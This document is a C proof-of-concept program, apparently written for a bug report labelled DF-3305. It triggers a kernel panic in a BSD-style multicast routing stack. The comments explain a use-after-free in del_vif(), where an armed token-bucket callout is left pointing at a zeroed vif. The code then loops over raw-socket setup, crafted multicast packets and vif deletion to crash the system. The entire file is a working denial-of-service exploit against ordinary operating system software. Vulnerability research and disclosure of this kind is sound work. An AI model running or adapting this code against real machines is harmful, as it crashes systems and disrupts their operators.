/*
 * DF-3305 PoC: del_vif() does not stop/cancel the armed tbf_reprocess_q_ch
 * callout that was scheduled with `vifp` as its argument by tbf_control().
 * del_vif() bzero()s the vif (v_tbf becomes NULL) and the callout fires up
 * to 10 ms later -> tbf_reprocess_q() -> tbf_update_tokens(vifp) reads
 * `struct tbf *t = vifp->v_tbf;` (== NULL) and dereferences
 * t->tbf_last_pkt_t in TV_DELTA()  ->  NULL pointer dereference panic.
 *
 * Root trigger: MRT_INIT, add a rate-limited phyint vif, forward one
 * multicast packet out of it (queues it, arms the 10ms callout), then
 * MRT_DEL_VIF immediately. Loop until the callout fires while the vif is
 * dead. Expected: kernel panic "Fatal trap ... virtual addr ..." in
 * tbf_update_tokens / tbf_reprocess_q.
 *
 * build: cc -O2 -o tbfcallout tbfcallout.c
 * run:   ./tbfcallout
 */
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#include "ip_mroute_common.h"

#define ITERS 200

int
main(void)
{
	struct vifctl vc;
	struct mfcctl2 mfc;
	struct sockaddr_in dst;
	int igmp, raw;
	int i, rc;
	char pkt[64];
	struct ip *ip = (struct ip *)pkt;

	igmp = socket(AF_INET, SOCK_RAW, IPPROTO_IGMP);
	if (igmp < 0) { perror("raw igmp socket (must run as root)"); exit(1); }

	rc = mrt_init(igmp);
	printf("MRT_INIT: %d\n", rc);

	raw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (raw < 0) { perror("raw socket"); exit(1); }
	i = 1;
	setsockopt(raw, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i));
	/*
	 * Attach multicast options: without an imo, ip_output forces
	 * ip_ttl = 1 and ip_mforward drops the packet before it ever
	 * reaches the vif/tbf.
	 */
	i = 5;
	if (setsockopt(raw, IPPROTO_IP, IP_MULTICAST_TTL, &i, sizeof(i)) < 0)
		perror("IP_MULTICAST_TTL");
	i = 0;
	setsockopt(raw, IPPROTO_IP, IP_MULTICAST_LOOP, &i, sizeof(i));

	for (i = 0; i < ITERS; i++) {
		/* vif0: phyint on vtnet0 (10.0.2.15), rate limit 100 kbit/s */
		memset(&vc, 0, sizeof(vc));
		vc.vifc_vifi = 0;
		vc.vifc_flags = 0;			/* phyint */
		vc.vifc_threshold = 1;
		vc.vifc_rate_limit = 100;		/* != 0 -> tbf path */
		vc.vifc_lcl_addr.s_addr = inet_addr("10.0.2.15");
		vc.vifc_rmt_addr.s_addr = inet_addr("255.255.255.0");
		rc = setsockopt(igmp, IPPROTO_IP, MRT_ADD_VIF, &vc, sizeof(vc));
		if (rc < 0) { perror("MRT_ADD_VIF"); exit(1); }

		/* mfc: (10.9.9.9, 224.7.7.7) parent vif0, forward ttl 1 */
		memset(&mfc, 0, sizeof(mfc));
		mfc.mfcc_origin.s_addr = inet_addr("10.9.9.9");
		mfc.mfcc_mcastgrp.s_addr = inet_addr("224.7.7.7");
		mfc.mfcc_parent = 0;
		mfc.mfcc_ttls[0] = 1;
		rc = setsockopt(igmp, IPPROTO_IP, MRT_ADD_MFC, &mfc, sizeof(mfc));
		if (rc < 0) { perror("MRT_ADD_MFC"); exit(1); }

		/*
		 * Send one multicast packet that matches the mfc.
		 * ip_output -> (ip_mrouter) -> ip_mforward -> ip_mdq ->
		 * phyint_send -> tbf_control: tokens ~0 < pkt len ->
		 * tbf_queue + callout_reset(tbf_reprocess_q, hz/100, vifp)
		 */
		memset(pkt, 0, sizeof(pkt));
		ip->ip_hl = 5;
		ip->ip_v = IPVERSION;
		ip->ip_tos = 0;
		ip->ip_len = htons(sizeof(pkt));
		ip->ip_id = htons(i + 1);
		ip->ip_off = 0;
		ip->ip_ttl = 5;
		ip->ip_p = IPPROTO_UDP;
		ip->ip_sum = 0;
		ip->ip_src.s_addr = inet_addr("10.9.9.9");
		ip->ip_dst.s_addr = inet_addr("224.7.7.7");
		ip->ip_sum = in_cksum_hdr(ip);

		memset(&dst, 0, sizeof(dst));
		dst.sin_family = AF_INET;
		dst.sin_len = sizeof(dst);
		dst.sin_addr = ip->ip_dst;
		rc = sendto(raw, pkt, sizeof(pkt), 0,
			    (struct sockaddr *)&dst, sizeof(dst));
		if (rc < 0)
			perror("sendto");

		/*
		 * Kill the vif inside the 10 ms callout window.
		 * del_vif bzero()s viftable[0] -> v_tbf == NULL but leaves
		 * tbf_reprocess_q_ch armed with &viftable[0].
		 */
		rc = mrt_del_vif(igmp, 0);
		printf("iter %d: sent, DEL_VIF rc=%d; waiting for callout...\n",
		       i, rc);
		usleep(40000);	/* let the 10ms callout fire */
	}
	printf("no panic after %d iterations\n", ITERS);
	return 0;
}
